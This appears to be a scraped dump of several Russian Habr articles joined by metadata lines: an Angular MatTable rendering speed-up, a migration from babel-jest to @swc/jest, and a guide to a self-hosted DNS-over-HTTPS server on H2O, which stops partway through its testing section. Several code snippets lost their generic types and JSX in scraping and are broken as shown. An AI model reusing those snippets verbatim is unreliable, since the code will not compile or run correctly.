По [ссылке](https://github.com/jeffhollan/functions-csharp-eventhub-ordered-processing) вы найдете репозиторий GitHub с указателями на каждую из ветвей для разных опорных точек этого примера. Если у вас возникли вопросы, свяжитесь со мной через Twitter: @jeffhollan. | https://habr.com/ru/post/358438/ | null | ru | null |
# Ускоряем рендеринг MatTable за несколько шагов
Часто бывает так, что большую часть приложения составляют различные списки и таблицы. Чтобы каждый раз не изобретать велосипед, я как и многие, чаще использовал [таблицы Angular Material](https://material.angular.io/components/table/overview).
Позже эти таблицы разрастались, в ячейки помещались как текстовые данные, так и вложенные элементы. Все это растет и становится неплохой нагрузкой на машину пользователя. И понятное дело это никому не нравится.
В моем последнем домашнем проекте была таблица, ячейки которой в основном были заполнены различными полями (можно даже сказать, что это была одна большая форма).
И рендеринг её занимал около 8 секунд (таблица 40 x 40).
Так как можно оптимизировать MatTable для больших списков?
### Тестовый пример
Для того, чтобы помочь остальным разобраться с этой проблемой я написал небольшое тестовое приложение. Все та же таблица MatTable, с пятью колонками (первая — id элемента, остальные — обычные текстовые поля MatFormField).
Казалось бы, простая таблица, однако даже рендеринг 100 сток такой таблицы занимает ни много, ни мало 2 секунды (Ох уж этот материал и его «топовая» производительность).
Сам рендеринг в данном случае занял только (860 мс), однако на все 2.2 секунды страница зависла и пользователь расстроился.
Что же, давайте попробуем, отрендерить таблицу в которой будет 300 строк. И барабанная дробь, немного ждем и видим, что на скриптинг и рендеринг в сумме было потрачено почти 10 секунд. То-есть в случае, когда пользователь захочет вывести такую таблицу в 300 строк, его страница зависнет на 10 секунд. Это очень страшно и удивительно (на самом деле нет).
На самом деле я ещё пытался сделать замер времени, которое потребуется для отрисовки 1000 элементов, однако мой жалкий i7 не выдерживал и страница постоянно отваливалась.
Попытаемся сделать это позже с уже примененным решением.
### Решение проблемы
И так, делать замеры с помощью браузерных утилит может каждый, а вот решить эту проблему нет.
К этому решению меня привело рассуждение над самой сутью проблемы.
> правильное понимание проблемы, это уже как минимум половина ее решения.
Я думаю каждому понятно, что это происходит потому что данные таблицы сначала обрабатываются скриптами, а потом выплёвываются **одним куском**. В свою очередь именно поэтому мы и видим характерное подвисание.
Проблема найдена. Теперь остается придумать, как ее решить. Самым первым на ум приходит самое простое решение. Если проблема в обработке всех данных сразу, то нужно заставить таблицу обрабатывать данные частями.
Но как это сделать?
Давайте подумаем, что у нас для этого есть из-под коробки. Первым на ум приходит Track By функция. При изменение датасоурса не будет перерендивариватья всю таблица, а только ее изменения.
Давайте добавим эту функцию в нашу таблицу:
Хорошо, но ведь у нас нет такого условия, что данные таблицы как-то изменяются, да и вообще не об этом сейчас разговор. Но что, если написать Pipe, который при инициализции data source будет разбивать данные и отдавать их таблице порционно. В свою очередь функция trackBy поможет избежать полного ререндера.
```
@Pipe({
name: 'splitSchedule'
})
export class SplitPipe implements PipeTransform {
public transform(value: any, takeBy: number = 4, throttleTime: number = 40): Observable> {
return Array.isArray(value)
? this.getSplittedThread(value, takeBy, throttleTime)
: of(value);
}
private getSplittedThread(data: Array, takeBy: number, throttleTime: number): Observable> {
const repeatNumber = Math.ceil(data.length / takeBy);
return timer(0, throttleTime).pipe(
map((current) => data.slice(0, takeBy \* ++current)),
take(repeatNumber)
);
}
}
```
Вот такой небольшой кусок кода, поможет вашему железу рендерить такие большие таблицы.
Применим этот pipe к нашему data source.
```
```
Теперь попробуем провести замеры. Рендерим 100, 300 и 1000 элементов.
И что мы видим? Что на самом успех не такой как мы ожидали:
* 300 элементов рендерились на 1 секунду быстрее
* 1000 отрендерерилось за 11 секунд, и вкладка не умерла
* а 100 элементов вообще рендерелись на 150 мс дольше
Но не спешите делать выводы, давайте для начала посмотрим на поведение страницы в обоих случаях.
Как видно, в обычном случае страница зависает на несколько секунд и пользователь ничего не может сделать в этот момент, тогда как использование нашей пайпы с связке с trackBy дает пользователю практически мгновенную инициализацию таблицы и не вызывает никакого дискомфорта во время использования приложения.
Надеюсь кому-нибудь поможет эта статья.
Исходники тестового приложения есть на [Stack Blitz](https://stackblitz.com/edit/angular-ivy-hcrmsc). | https://habr.com/ru/post/503844/ | null | ru | null |
# Как я Jest с помощью SWC ускорял
За последние пару лет не раз можно было услышать про новые инструменты сборки статики, такие как SWC, esbuild и Vite. Все они обещают нам next gen-оптимизацию времени сборки, а SWC ещë и грозится оптимизировать скорость выполнения тестов на Jest; более того, судя по документации, сделать это очень просто. Я решил проверить, так ли это на самом деле и каким будет результат. Если вам интересно, что из этого получилось и какие были проблемы, то прошу под кат.
Приветствую тебя, дорогой читатель. Меня зовут Денис, я лидер фронтенд-разработки в Домклик. И сегодня хочу рассказать вам про попытку сократить длительность CI-пайплайна с помощью минимальных кодо-движений. Причина выбора SWC проста, можно оставить транспилирование production-кода as is на Babel, так мы не рискуем сломать или частично повредить наш прод.
Зачем вообще оптимизировать скорость сборки, линтинга, тестов? Причин можно написать поистине много, но вот основные: улучшить процесс разработки, сэкономить время разработчика, а также ускорить CI, длительность которого может сыграть злую шутку во время экстренной выкатки важного исправления.
Что будем делать:
* подключим SWС;
* проведём сравнение локально;
* проведём сравнение на сборочной машине;
* сделаем выводы.
Подключаем @swc/jest
--------------------
Для эксперимента выбрал небольшой и свежий (в плане зависимостей и кодовой базы) проект, где всего 74 тестовых набора с 231 тестом. Под капотом React, экспериментальный синтаксис и, конечно же, es-модули.
Подключение выглядит довольно просто, достаточно установить несколько библиотек.
```
# npm
npm i -D jest @swc/core @swc/jest
# yarn
yarn add -D jest @swc/core @swc/jest
```
Далее, в настройках jest заменим плагин, который отвечает за [транспилирование](https://jestjs.io/docs/code-transformation), в моём случае это былbabel-jest**.** С ним и будем сравнивать результат, но об этом позже.
**Было:**
```
/* jest.config.js */
transform: {
'^.+\\.(js|jsx)$': 'babel-jest'
}
```
**Стало:**
```
/* jest.config.js */
transform: {
'^.+\\.(js|jsx)$': '@swc/jest'
}
```
И, судя по [документации](https://swc.rs/docs/usage/jest#usage), сейчас мне стоит пристегнуть ремень, ведь я точно должен нарушить скоростной режим. Но как бы не так, запускаю тесты и получаю печальный результат.
> **Test Suites:** 68 failed, 6 passed
>
>
Наверное, наивно было полагать, что SWC сам разберëтся с jsx-трансформациями, ему нужно немного помочь. Сделать это можно через файл `.swcrc` или же через`jest.config.js`**.** Так как пока нет планов полностью заменить Babel на SWC, то создавать лишний файл не стал, решил разобраться на месте. Про все настройки можно прочитать [тут](https://swc.rs/docs/configuration/swcrc), а сейчас посмотрим только на те, которые понадобились в моём случае.
Включить поддержку jsx-синтаксиса можно опцией `jsc.parser.jsx = true`, а `jsc.transform.react.runtime = automatic` понадобится для новой [jsx-трансформации](https://reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html). Примеры кода по классике располагаются ниже.
**Было:**
```
/* jest.config.js */
transform: {
'^.+\\.(js|jsx)$': '@swc/jest'
}
```
**Стало:**
```
/* jest.config.js */
transform: {
'^.+\\.(js|jsx)$': ['@swc/jest', {
jsc: {
parser: {
jsx: true
},
transform: {
react: {
runtime: 'automatic'
}
}
}
}]
}
```
Ремень уже пристëгнут, я готов. Запускаю тесты.
> **Test Suites:** 19 failed, 55 passed
>
>
Определëнный прогресс, конечно же, есть, но часть тестов по-прежнему падает, а в логах плюс-минус одинаковые сообщения.
> TypeError: Cannot redefine property: useIntersection at Function.defineProperty ()
>
>
Stack trace привëл меня к методу `spyOn` и импортируемому модулю. Логично было сравнить, что же получается на выходе после импорта.
```
/* via babel-jest */
{
__esModule: true,
pluralize: [Getter],
getCookie: [Getter],
hasCookie: [Getter],
setCookie: [Getter],
formatPhone: [Getter],
priceFormatter: [Getter],
scrollToAnchor: [Getter],
getRatingColor: [Getter]
}
/* via @swc/jest */
{
pluralize: [Getter],
getCookie: [Getter],
hasCookie: [Getter],
setCookie: [Getter],
formatPhone: [Getter],
priceFormatter: [Getter],
scrollToAnchor: [Getter],
getRatingColor: [Getter]
}
```
Жонглирование настройками [модульности](https://swc.rs/docs/configuration/modules) в SWC, к сожалению, не помогло. Но решение проблемы всë же нашлось в документации Jest.
> When using the factory parameter for an ES6 module with a default export, the \_\_esModule: true property needs to be specified. This property is normally generated by Babel / TypeScript, but here it needs to be set manually. When importing a default export, it's an instruction to import the property named default from the export object
>
>
Ниже приведу примеры старого кода и кода после рефакторинга.
**Было:**
```
/* начало примера */
import * as utils from 'utils';
import Price from '.';
describe('price component', () => {
const scrollToAnchor = jest.spyOn(utils, 'scrollToAnchor');
it('клик на кнопку "В продаже"', () => {
render();
userEvent.click(screen.getByText(/Смотреть: 1 объявление/));
expect(scrollToAnchor).toHaveBeenCalledTimes(1);
expect(scrollToAnchor).toHaveBeenCalledWith('offers');
});
/* конец примера, дальше не интересно */
```
**Стало:**
```
/* начало примера */
import * as utils from 'utils';
import Price from '.';
jest.mock('utils', () => ({
__esModule: true,
...jest.requireActual('utils')
}));
describe('price component', () => {
const scrollToAnchor = jest.spyOn(utils, 'scrollToAnchor');
it('клик на кнопку "В продаже"', () => {
render();
userEvent.click(screen.getByText(/Смотреть: 1 объявление/));
expect(scrollToAnchor).toHaveBeenCalledTimes(1);
expect(scrollToAnchor).toHaveBeenCalledWith('offers');
});
/* конец примера, дальше не интересно */
```
В случае, если бы задача сводилась к заглушке возвращаемого значения, без какого-либо интерактива в виде подсчёта количества вызовов или проверки входящих аргументов, то достаточно просто использовать `jest.mock` без `__esModule`.
```
/* начало примера */
import * as effects from 'effects';
import Panorama from '.';
jest.mock('effects');
describe('panorama component', () => {
beforeEach(() => {
effects.useIntersection.mockReturnValue(true);
});
/* конец примера, дальше не интересно */
```
Лёгким движением руки сломанные тесты починились.
> **Test Suites:** 74 passed
>
>
Наконец можно перейти к самому интересному, а именно — замерить скорость.
### babel-jest vs @swc/jest
Замеряю скорость выполнения тестов, получаю неожиданный результат, а ожидания были, естественно, что скорость вырастет.
| | |
| --- | --- |
| **babel-jest** | **@swc/jest** |
| 33.19 s | 32.36 s |
| 32.98 s | 34.82 |
| ... | ... |
Все последующие десять замеров в таком же духе, визуально разницы нет никакой. «Выдумал сам себе оптимизацию?», – подумал я. Читаю документацию ещë раз, в ней отчётливо вижу: **“Improving Jest performance”**. Нашёл [issue](https://github.com/swc-project/swc/issues/1172), прочитал. С одной стороны, кажется, что можно уже сворачивать эксперимент, но с другой стороны, этот топик заставил меня взять время на раздумье.
На следующий день, решил очистить кеш Jest перед прогоном тестов, сделать это можно через CLI.
```
jest --clearCache
```
Повторно провожу замер за замером, и, конечно же, каждый раз чищу кеш.
| | |
| --- | --- |
| **babel-jest** | **@swc/jest** |
| 50.907 s | 35.163 s |
| 49.462 s | 34.878 s |
| 49.316 s | 39.499 s |
| …. | …. |
Как видите, разница есть, и стоит отметить, что этот эксперимент проводился на относительно небольшом проекте. Глядя на эти числа, можно смело сказать, что это своего рода хороший cheap tuning, но «вау-эффекта» не возникает. Не изучал исходники, но догадываюсь, что весь профит — это, скорее всего, транспилирование, и на сам процесс выполнения тестов SWC никак не влияет, что, конечно же, логично, ведь речь идëт про "*speedy web compiler".*
Но подводить итоги ещë рано, нужно протестировать, каков будет результат на сборочной машине в целом по CI.
### @swc/jest пытается уехать на dev-стенд
Как только код уехал из локального окружения, начались проблемы. Вы, наверное, уже догадались, что тесты упали.
На самом-то деле в данном случае это помогло обратить внимание на одну не совсем очевидную вещь. Но обо всëм по порядку, начнём с ошибки и причины её возникновения.
> Bindings not found
>
>
Ошибка была вызвана тем, что для работы SWC в разных окружениях нужны разные бинарники. Например, для macOS нужен был [@swc/core-darwin-x64](https://www.npmjs.com/package/@swc/core-darwin-x64), и хорошая новость в том, что устанавливаются они всë так же через NPM, более того, SWC делает это сам, выбирая нужный бинарник в зависимости от текущего окружения. Так как мы используем прокси-хранилище для зависимостей, то нужно было добавить в него [@swc/core-linux-x64-musl](https://www.npmjs.com/package/@swc/core-linux-x64-musl), этот бинарник необходим для работы SWC под Alpine Linux. А вот уже после этого тесты успешно прошли. Если вы устанавливаете зависимости напрямую из NPM, то с этой проблемой, скорее всего, не столкнётесь. На всякий случай оставлю [тут](https://swc.rs/) актуальный список бинарей.
«Финишная прямая», — подумал я и начал делать десятки замеров. Все они показали похожий результат, давайте разберëм один из этих замеров подробнее:
| | | | |
| --- | --- | --- | --- |
| **транспайлер** | **установка зависимостей** | **тесты** | **полный цикл CI** |
| babel-jest | 49 s | 20.82 s | 2.65 m |
| @swc/jest | 53 s | 9.962 s | 2.6 m |
Как можно заметить, разницы в полном цикле CI почти нет, и на этот раз дело даже не в кеше. При детальном изучении логов я увидел, что количество npm-модулей увеличилось с 2018 до 2075, увеличилась и длительность установки зависимостей. Помните, в начале этой главы я писал про «не совсем очевидную вещь»? Так вот, один только бинарник под Alpine в распакованном состоянии весит почти 79 Mб. Из-за этого Docker-образ начал весить больше, чем раньше, а мы начали тратить больше времени на его выгрузку, нивелировав всю разницу в скорости транспилирования для выполнения тестов. Что в итоге? Ускорили транспилирование, но в то же время замедлили установку зависимостей и последующий пайплайн для Docker-образа.
Ну что же, пришло время подвести итоги!
### Выводы
Подключить SWC оказалось довольно просто, но не обошлось без рефакторинга, который пропорционально количеству тестов может иметь разную сложность.
SWC без кеша оказался действительно быстрей. Это не поможет нам в разработке, но потенциально может улучшить скорость CI, если речь идёт про большие проекты. В ином же случае овчинка выделки не стоит.
Да, можно сделать базовый образ Docker с уже предустановленными зависимостями, и тогда профит будет уже и на маленьких проектах, но это затраты на разработку и поддержку этого же образа.
В целом, если рассмотреть полный перевод транспилирования, включая production-код, из Babel в SWC, то, скорее всего, выгода будет даже безо всяких базовых образов. Но это совсем другая история, мем не добавляю, думаю, вы уже поймали флешбэк с Леонидом.
Что касается меня, я, скорее всего, продолжу дальше копаться в SWC; не то чтобы Babel меня не устраивал, но если что-то может позволить ускорится, то почему бы это и не сделать. А ещë я постараюсь перестать забывать про наличие кеша.
Пробовали ли вы использовать SWC у себя на проектах, если да, то какие результаты получили? | https://habr.com/ru/post/699582/ | null | ru | null |
# Поднимаем свой DNS-over-HTTPS сервер
Различные аспекты эксплуатации DNS уже неоднократно затрагивались автором в ряде [статей](https://kostikov.co/tag/dns) опубликованных в рамках блога. При этом, основной акцент всегда делался на повышение безопасности этого ключевого для всего Интернет сервиса.
До последнего времени, несмотря на очевидность уязвимости DNS трафика, который, до сих пор, по большей части, передаётся в открытом виде, для злонамеренных действий со стороны провайдеров, стремящихся повысить своих доходы за счёт встраивания рекламы в контент, государственных силовых органов и цензуры, а также просто преступников, процесс [усиления его защиты](https://kostikov.co/bezopasnostj-i-zashita-dns-trafika), несмотря на наличие различных технологий, таких как DNSSEC/DANE, DNScrypt, DNS-over-TLS и DNS-over-HTTPS, буксовал. И если серверные решения, а некоторые из них существуют уже довольно долгое время, широко известны и доступны, то поддержка их со стороны клиентского программного обеспечения оставляет желать много лучшего.
К счастью, ситуация меняется. В частности, разработчики популярного браузера Firefox [заявили](https://blog.mozilla.org/futurereleases/2019/09/06/whats-next-in-making-dns-over-https-the-default/) о планах по включению по умолчанию режима поддержки режима [DNS-over-HTTPS](https://ru.wikipedia.org/wiki/DNS_%D0%BF%D0%BE%D0%B2%D0%B5%D1%80%D1%85_HTTPS) (DoH) в ближайшее время. Это должно помочь защитить DNS трафик пользователя WWW от вышеупомянутых угроз, однако потенциально способно вызвать новые.
1. Проблемы DNS-over-HTTPS
==========================
На первый взгляд, начинающееся массовое внедрение DNS-over-HTTPS в программное обеспечение работающее в Интернет вызывает только позитивную реакцию. Однако, чёрт, как говорится, кроется в деталях.
Первой проблемой, которая ограничивает сферу массового применения DoH, является его ориентация исключительно на веб-трафик. Действительно, протокол HTTP и его актуальная редакция HTTP/2, на которой базируется DoH, является основой WWW. Но Интернет это не только веб. Существует масса популярых сервисов, такие, как электронная почта, всевозможные мессенджеры, системы передачи файлов, стриминг мультимедиа и проч., которые не используют HTTP. Таким образом, несмотря на восприятие многими DoH как панацеи, он оказывается неприменим без дополнительных (да и не нужных) усилий, ни для чего иного, кроме браузерных технологий. К слову, на эту роль куда как более достойным кандидатом выглядит DNS-over-TLS, который реализует инкапсуляцию стандартного DNS трафика в защищённый стандартный протокол TLS.
Второй проблемой, которая потенциально куда как более значима, чем первая, является фактический отказ от присущей DNS by design децентрализации в угоду использования указываемого в настройках браузера единого DoH сервера. В частности, Mozilla предлагает использовать сервис от Cloudflare. Подобный сервис запустили также и другие заметные фигуры Интернет, в частности Google. Получается, что внедрение DNS-over-HTTPS в том виде, в котором это предлагается сейчас, лишь увеличивает зависимость конечных пользователей от крупнейших сервисов. Не секрет, что информация, которую может предоставить анализ DNS запросов способен собирать ещё больше данных о нём, а также повысить их точность и актуальность.
В этой связи, автор был и остаётся сторонником массового внедрения не DNS-over-HTTPS, а DNS-over-TLS совместно с DNSSEC/DANE как универсального, безопасного и не способствующего дальнейшей централизации Интернет средства для обеспечения безопасности DNS трафика. К сожалению, ожидать быстрое внедрение массовой поддержки альтернатив DoH в клиентский софт в силу понятных причин, не приходится и её уделом пока остаются энтузиасты безопасных технологий.
Но, коль уж мы теперь получаем DoH, то почему бы не использовать его, предварительно уйдя от потенциальной слежки по стороны корпораций посредством их серверов на свой собственный DNS-over-HTTPS сервер?
2. Протокол DNS-over-HTTPS
==========================
Если взглянуть в стандарт [RFC8484](https://tools.ietf.org/html/rfc8484) описывающий протокол DNS-over-HTTPS, то можно увидеть, что он, по сути, представляет собой веб API позволяющий инкапсулировать стандартный пакет DNS в протокол HTTP/2. Это реализуется посредством специальных HTTP-заголовков, а также конверсии бинарного формата передаваемых DNS данных (см. [RFC1035](https://tools.ietf.org/html/rfc1035) и последующие документы) в форму, позволяющую передавать и получать их, а также работать с необходимыми метаданными.
По стандарту поддерживается только HTTP/2 и защищённое соединение TLS.
Отправка DNS-запроса может производится стандартными методами GET и POST. В первом случае запрос трансформируется base64URL-encoded строку, а во-втором — через тело POST-запроса в двоичной форме. При этом при запросе и при ответе DNS используется специальный MIME-тип данных **application/dns-message**.
```
root@eprove:~ # curl -H 'accept: application/dns-message' 'https://my.domain/dns-query?dns=q80BAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE' -v
* Trying 2001:100:200:300::400:443...
* TCP_NODELAY set
* Connected to eprove.net (2001:100:200:300::400) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
* CAfile: /usr/local/share/certs/ca-root-nss.crt
CApath: none
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN, server accepted to use h2
* Server certificate:
* subject: CN=my.domain
* start date: Jul 22 00:07:13 2019 GMT
* expire date: Oct 20 00:07:13 2019 GMT
* subjectAltName: host "my.domain" matched cert's "my.domain"
* issuer: C=US; O=Let's Encrypt; CN=Let's Encrypt Authority X3
* SSL certificate verify ok.
* Using HTTP2, server supports multi-use
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* Using Stream ID: 1 (easy handle 0x801441000)
> GET /dns-query?dns=q80BAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/2
> Host: eprove.net
> User-Agent: curl/7.65.3
> accept: application/dns-message
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* Connection state changed (MAX_CONCURRENT_STREAMS == 100)!
< HTTP/2 200
< server: h2o/2.3.0-beta2
< content-type: application/dns-message
< cache-control: max-age=86274
< date: Thu, 12 Sep 2019 13:07:25 GMT
< strict-transport-security: max-age=15768000; includeSubDomains; preload
< content-length: 45
<
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: " to save to a file.
\* Failed writing body (0 != 45)
\* stopped the pause stream!
\* Connection #0 to host eprove.net left intact
```
Обратите также внимание на заголовок **cache-control:** в ответе со стороны веб-сервера. В параметре **max-age** содержится значение TTL для возвращаемой записи DNS (или минимальное значение если возвращается их набор).
Исходя из вышеизложенного, функционирование DoH сервера состоит из нескольких этапов.
* Получить HTTP запрос. Если это GET то декодировать пакет из base64URL кодировки.
* Отправить этот пакет DNS серверу.
* Получить ответ от DNS сервера
* Найти минимальное значение TTL в полученных записях.
* Вернуть клиенту ответ по HTTP.
3. Свой DNS-over-HTTPS сервер
=============================
Наиболее простым, быстрым и эффективным способом запустить свой собственный DNS-over-HTTPS сервер представляется использование HTTP/2 веб-сервера [H2O](https://h2o.examp1e.net/), о котором автор уже вкратце писал (см. "[Высокопроизводительный веб-сервер H2O](https://kostikov.co/vysokoproizvoditeljnyj-veb-server-h2o)").
В пользу этого выбора играет тот факт, что весь код собственного DoH сервра может быть полностью реализован средствами интегрированного в сам H2O интерпретатором [mruby](https://mruby.org). Помимо стандартных библиотек, для обмена данными с DNS сервером необходима библиотека (mrbgem) Socket, которая, по счастью, уже включена в текущую девелоперскую версию H2O 2.3.0-beta2 [присутствующую](https://www.freshports.org/www/h2o-devel/) в портах FreeBSD. Впрочем, не трудно добавить её и в любую предыдущую версию клонировав репозиторий [библиотеки Socket](https://github.com/iij/mruby-socket) в каталог */deps* перед компиляцией.
```
root@beta:~ # uname -v
FreeBSD 12.0-RELEASE-p10 GENERIC
root@beta:~ # cd /usr/ports/www/h2o
root@beta:/usr/ports/www/h2o # make extract
===> License MIT BSD2CLAUSE accepted by the user
===> h2o-2.2.6 depends on file: /usr/local/sbin/pkg - found
===> Fetching all distfiles required by h2o-2.2.6 for building
===> Extracting for h2o-2.2.6.
=> SHA256 Checksum OK for h2o-h2o-v2.2.6_GH0.tar.gz.
===> h2o-2.2.6 depends on file: /usr/local/bin/ruby26 - found
root@beta:/usr/ports/www/h2o # cd work/h2o-2.2.6/deps/
root@beta:/usr/ports/www/h2o/work/h2o-2.2.6/deps # git clone https://github.com/iij/mruby-socket.git
Клонирование в «mruby-socket»…
remote: Enumerating objects: 385, done.
remote: Total 385 (delta 0), reused 0 (delta 0), pack-reused 385
Получение объектов: 100% (385/385), 98.02 KiB | 647.00 KiB/s, готово.
Определение изменений: 100% (208/208), готово.
root@beta:/usr/ports/www/h2o/work/h2o-2.2.6/deps # ll
total 181
drwxr-xr-x 9 root wheel 18 12 авг. 16:09 brotli/
drwxr-xr-x 2 root wheel 4 12 авг. 16:09 cloexec/
drwxr-xr-x 2 root wheel 5 12 авг. 16:09 golombset/
drwxr-xr-x 4 root wheel 35 12 авг. 16:09 klib/
drwxr-xr-x 2 root wheel 5 12 авг. 16:09 libgkc/
drwxr-xr-x 4 root wheel 26 12 авг. 16:09 libyrmcds/
drwxr-xr-x 13 root wheel 32 12 авг. 16:09 mruby/
drwxr-xr-x 5 root wheel 11 12 авг. 16:09 mruby-digest/
drwxr-xr-x 5 root wheel 10 12 авг. 16:09 mruby-dir/
drwxr-xr-x 5 root wheel 10 12 авг. 16:09 mruby-env/
drwxr-xr-x 4 root wheel 9 12 авг. 16:09 mruby-errno/
drwxr-xr-x 5 root wheel 14 12 авг. 16:09 mruby-file-stat/
drwxr-xr-x 5 root wheel 10 12 авг. 16:09 mruby-iijson/
drwxr-xr-x 5 root wheel 11 12 авг. 16:09 mruby-input-stream/
drwxr-xr-x 6 root wheel 11 12 авг. 16:09 mruby-io/
drwxr-xr-x 5 root wheel 10 12 авг. 16:09 mruby-onig-regexp/
drwxr-xr-x 4 root wheel 10 12 авг. 16:09 mruby-pack/
drwxr-xr-x 5 root wheel 10 12 авг. 16:09 mruby-require/
drwxr-xr-x 6 root wheel 10 12 сент. 16:10 mruby-socket/
drwxr-xr-x 2 root wheel 9 12 авг. 16:09 neverbleed/
drwxr-xr-x 2 root wheel 13 12 авг. 16:09 picohttpparser/
drwxr-xr-x 2 root wheel 4 12 авг. 16:09 picotest/
drwxr-xr-x 9 root wheel 16 12 авг. 16:09 picotls/
drwxr-xr-x 4 root wheel 8 12 авг. 16:09 ssl-conservatory/
drwxr-xr-x 8 root wheel 18 12 авг. 16:09 yaml/
drwxr-xr-x 2 root wheel 8 12 авг. 16:09 yoml/
root@beta:/usr/ports/www/h2o/work/h2o-2.2.6/deps # cd ../../..
root@beta:/usr/ports/www/h2o # make install clean
...
```
Конфигурация веб-сервера, в целом, стандартная.
```
root@beta:/usr/ports/www/h2o # cd /usr/local/etc/h2o/
root@beta:/usr/local/etc/h2o # cat h2o.conf
# this sample config gives you a feel for how h2o can be used
# and a high-security configuration for TLS and HTTP headers
# see https://h2o.examp1e.net/ for detailed documentation
# and h2o --help for command-line options and settings
# v.20180207 (c)2018 by Max Kostikov http://kostikov.co e-mail: max@kostikov.co
user: www
pid-file: /var/run/h2o.pid
access-log:
path: /var/log/h2o/h2o-access.log
format: "%h %v %l %u %t \"%r\" %s %b \"%{Referer}i\" \"%{User-agent}i\""
error-log: /var/log/h2o/h2o-error.log
expires: off
compress: on
file.dirlisting: off
file.send-compressed: on
file.index: [ 'index.html', 'index.php' ]
listen:
port: 80
listen:
port: 443
ssl:
cipher-suite: ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384
cipher-preference: server
dh-file: /etc/ssl/dhparams.pem
certificate-file: /usr/local/etc/letsencrypt/live/eprove.net/fullchain.pem
key-file: /usr/local/etc/letsencrypt/live/my.domain/privkey.pem
hosts:
"*.my.domain":
paths: &go_tls
"/":
redirect:
status: 301
url: https://my.domain/
"my.domain:80":
paths: *go_tls
"my.domain:443":
header.add: "Strict-Transport-Security: max-age=15768000; includeSubDomains; preload"
paths:
"/dns-query":
mruby.handler-file: /usr/local/etc/h2o/h2odoh.rb
```
Исключение составляет лишь обработчик URL */dns-query* за который отвечает, собственно, наш DNS-over-HTTPS сервер **h2odoh**, написанный на mruby и вызываемый через опцию обработчика **mruby.handler-file**.
```
root@beta:/usr/local/etc/h2o # cat h2odoh.rb
# H2O HTTP/2 web server as DNS-over-HTTP service
# v.20190908 (c)2018-2019 Max Kostikov https://kostikov.co e-mail: max@kostikov.co
proc {|env|
if env['HTTP_ACCEPT'] == "application/dns-message"
case env['REQUEST_METHOD']
when "GET"
req = env['QUERY_STRING'].gsub(/^dns=/,'')
# base64URL decode
req = req.tr("-_", "+/")
if !req.end_with?("=") && req.length % 4 != 0
req = req.ljust((req.length + 3) & ~3, "=")
end
req = req.unpack1("m")
when "POST"
req = env['rack.input'].read
else
req = ""
end
if req.empty?
[400, { 'content-type' => 'text/plain' }, [ "Bad Request" ]]
else
# --- ask DNS server
sock = UDPSocket.new
sock.connect("localhost", 53)
sock.send(req, 0)
str = sock.recv(4096)
sock.close
# --- find lowest TTL in response
nans = str[6, 2].unpack1('n') # number of answers
if nans > 0 # no DNS failure
shift = 12
ttl = 0
while nans > 0
# process domain name compression
if str[shift].unpack1("C") < 192
shift = str.index("\x00", shift) + 5
if ttl == 0 # skip question section
next
end
end
shift += 6
curttl = str[shift, 4].unpack1('N')
shift += str[shift + 4, 2].unpack1('n') + 6 # responce data size
if ttl == 0 or ttl > curttl
ttl = curttl
end
nans -= 1
end
cc = 'max-age=' + ttl.to_s
else
cc = 'no-cache'
end
[200, { 'content-type' => 'application/dns-message', 'content-length' => str.size, 'cache-control' => cc }, [ str ] ]
end
else
[415, { 'content-type' => 'text/plain' }, [ "Unsupported Media Type" ]]
end
}
```
Обратие внимание, что за обработку пакетов DNS отвечает локальный кэширующий сервер, в данном случае [Unbound](https://nlnetlabs.nl/projects/unbound/about/) из стандратной поставки FreeBSD. С точки зрения безопасности это оптимальное решение. Впрочем, ничто не мешает заменить *localhost* на адрес другого DNS, который вы предполагаете использовать.
```
root@beta:/usr/local/etc/h2o # local-unbound verison
usage: local-unbound [options]
start unbound daemon DNS resolver.
-h this help
-c file config file to read instead of /var/unbound/unbound.conf
file format is described in unbound.conf(5).
-d do not fork into the background.
-p do not create a pidfile.
-v verbose (more times to increase verbosity)
Version 1.8.1
linked libs: mini-event internal (it uses select), OpenSSL 1.1.1a-freebsd 20 Nov 2018
linked modules: dns64 respip validator iterator
BSD licensed, see LICENSE in source package for details.
Report bugs to unbound-bugs@nlnetlabs.nl
root@eprove:/usr/local/etc/h2o # sockstat -46 | grep unbound
unbound local-unbo 69749 3 udp6 ::1:53 *:*
unbound local-unbo 69749 4 tcp6 ::1:53 *:*
unbound local-unbo 69749 5 udp4 127.0.0.1:53 *:*
unbound local-unbo 69749 6 tcp4 127.0.0.1:53 *:*
```
Отстаётся перезапустить H2O и посмотреть что же из этого получилось.
```
root@beta:/usr/local/etc/h2o # service h2o restart
Stopping h2o.
Waiting for PIDS: 69871.
Starting h2o.
start_server (pid:70532) starting now...
```
4. Тестирование
===============
Итак, проверим результаты отправив вновь пробный запрос и посмотрев сетевой трафик при помощи утилиты **tcpdump**.
```
root@beta/usr/local/etc/h2o # curl -H 'accept: application/dns-message' 'https://my.domain/dns-query?dns=q80BAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE'
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: " to save to a file.
...
root@beta:~ # tcpdump -n -i lo0 udp port 53 -xx -XX -vv
